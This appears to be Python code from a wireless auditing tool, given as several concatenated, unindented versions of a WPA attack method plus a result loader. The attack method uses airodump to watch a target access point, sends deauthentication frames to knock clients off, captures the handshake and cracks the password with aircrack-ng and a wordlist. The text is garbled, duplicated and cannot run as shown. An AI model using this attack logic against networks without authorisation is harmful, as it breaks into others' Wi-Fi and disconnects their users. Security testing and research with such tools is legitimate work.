def run(self):
'''
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
self.success = False
return self.success
handshake = None
# Capture the handshake ("do it live!")
if handshake is None:
handshake = self.capture_handshake()
if handshake is None:
# Failed to capture handshake
self.success = False
return self.success
# Analyze handshake
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Crack it
key = self.crack_handshake(handshake, Configuration.wordlist)
if key is None:
self.success = False
else:
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success
def load(json):
''' Returns an instance of the appropriate object given a json instance '''
if json['type'] == 'WPA':
from CrackResultWPA import CrackResultWPA
result = CrackResultWPA(json['bssid'], json['essid'],
json['handshake_file'], json['key'])
elif json['type'] == 'WEP':
from CrackResultWEP import CrackResultWEP
result = CrackResultWEP(json['bssid'], json['essid'],
json['hex_key'], json['ascii_key'])
elif json['type'] == 'WPS':
from CrackResultWPS import CrackResultWPS
result = CrackResultWPS(json['bssid'], json['essid'], json['pin'],
json['psk'])
result.date = json['date']
return result
def run(self):
'''
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack
if Configuration.pixie_only and self.target.wps:
Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack')
self.success = False
return self.success
# First, start Airodump process
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
output_file_prefix='wpa') as airodump:
Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture",
"Waiting for target to appear...")
airodump_target = self.wait_for_target(airodump)
# Get client station MAC addresses
clients = [c.station for c in airodump_target.clients]
client_index = 0
handshake = None
time_since_deauth = time.time()
deauth_proc = None
while True:
if not deauth_proc or deauth_proc.poll() != None:
# Clear line only if we're not deauthing right now
Color.clear_entire_line()
Color.pattack("WPA", airodump_target, "Handshake capture",
"Waiting for handshake...")
#Color.p('\r{+} {C}WPA-handshake attack{W}: ')
#Color.p('waiting for {C}handshake{W}...')
time.sleep(1)
# Find .cap file
cap_files = airodump.find_files(endswith='.cap')
if len(cap_files) == 0:
# No cap files yet
continue
cap_file = cap_files[0]
# Copy .cap file to temp for consistency
temp_file = Configuration.temp('handshake.cap.bak')
copy(cap_file, temp_file)
# Check cap file in temp for Handshake
bssid = airodump_target.bssid
essid = None
if airodump_target.essid_known:
essid = airodump_target.essid
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake():
# We got a handshake
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
break
# There is no handshake
handshake = None
# Delete copied .cap file in temp to save space
os.remove(temp_file)
# Check status of deauth process
if deauth_proc and deauth_proc.poll() == None:
# Deauth process is still running
time_since_deauth = time.time()
# Look for new clients
airodump_target = self.wait_for_target(airodump)
for client in airodump_target.clients:
if client.station not in clients:
Color.clear_entire_line()
Color.pl(
'\r{+} discovered new {G}client{W}: {C}%s{W}' %
client.station)
clients.append(client.station)
# Send deauth to a client or broadcast
if time.time(
) - time_since_deauth > Configuration.wpa_deauth_timeout:
# We are N seconds since last deauth was sent,
# And the deauth process is not running.
if len(clients) == 0 or client_index >= len(clients):
deauth_proc = self.deauth(bssid)
client_index = 0
else:
client = clients[client_index]
deauth_proc = self.deauth(bssid, client)
client_index += 1
time_since_deauth = time.time()
continue
# Stop the deauth process if needed
if deauth_proc and deauth_proc.poll() == None:
deauth_proc.interrupt()
if not handshake:
# No handshake, attack failed.
self.success = False
return self.success
key = None
# Save copy of handshake to ./hs/
self.save_handshake(handshake)
# Print analysis of handshake file
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Crack handshake
wordlist = Configuration.wordlist
if wordlist != None:
wordlist_name = wordlist.split(os.sep)[-1]
if not os.path.exists(wordlist):
Color.pl('{!} {R}unable to crack:' +
' wordlist {O}%s{R} does not exist{W}' % wordlist)
else:
# We have a wordlist we can use
Color.p('\n{+} {C}cracking handshake{W}' +
' using {C}aircrack-ng{W}' +
' with {C}%s{W} wordlist' % wordlist_name)
# TODO: More-verbose cracking status
# 1. Read number of lines in 'wordlist'
# 2. Pipe aircrack stdout to file
# 3. Read from file every second, get keys tried so far
# 4. Display # of keys tried / total keys, and ETA
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng', '-a', '2', '-w', wordlist, '-l',
key_file, handshake.capfile
]
aircrack = Process(command, devnull=True)
aircrack.wait()
if os.path.exists(key_file):
# We cracked it.
Color.pl('\n\n{+} {G}successfully cracked PSK{W}\n')
f = open(key_file, 'r')
key = f.read()
f.close()
else:
Color.pl('\n{!} {R}handshake crack failed:' +
' {O}%s did not contain password{W}' %
wordlist.split(os.sep)[-1])
self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile,
key)
self.crack_result.dump()
self.success = True
return self.success
def run(self):
'''
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack
if Configuration.pixie_only and self.target.wps:
Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack')
self.success = False
return self.success
# First, start Airodump process
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wpa') as airodump:
Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture",
"Waiting for target to appear...")
airodump_target = self.wait_for_target(airodump)
self.clients = []
handshake = None
timeout_timer = Timer(Configuration.wpa_attack_timeout)
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
while handshake is None and not timeout_timer.ended():
step_timer = Timer(1)
Color.clear_entire_line()
Color.pattack(
"WPA", airodump_target, "Handshake capture",
"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})"
% (len(self.clients), deauth_timer, timeout_timer))
# Find .cap file
cap_files = airodump.find_files(endswith='.cap')
if len(cap_files) == 0:
# No cap files yet
time.sleep(step_timer.remaining())
continue
cap_file = cap_files[0]
# Copy .cap file to temp for consistency
temp_file = Configuration.temp('handshake.cap.bak')
copy(cap_file, temp_file)
# Check cap file in temp for Handshake
bssid = airodump_target.bssid
essid = airodump_target.essid if airodump_target.essid_known else None
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake():
# We got a handshake
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
break
# There is no handshake
handshake = None
# Delete copied .cap file in temp to save space
os.remove(temp_file)
# Look for new clients
airodump_target = self.wait_for_target(airodump)
for client in airodump_target.clients:
if client.station not in self.clients:
Color.clear_entire_line()
Color.pattack(
"WPA", airodump_target, "Handshake capture",
"Discovered new client: {G}%s{W}" % client.station)
Color.pl("")
self.clients.append(client.station)
# Send deauth to a client or broadcast
if deauth_timer.ended():
self.deauth(airodump_target)
# Restart timer
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
# Sleep for at-most 1 second
time.sleep(step_timer.remaining())
continue # Handshake listen+deauth loop
if not handshake:
# No handshake, attack failed.
Color.pl(
"\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds"
% (Configuration.wpa_attack_timeout))
self.success = False
return self.success
# Save copy of handshake to ./hs/
self.save_handshake(handshake)
# Print analysis of handshake file
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Try to crack handshake
key = self.crack_handshake(handshake, Configuration.wordlist)
if key is None:
self.success = False
else:
self.crack_result = CrackResultWPA(bssid, essid,
handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success
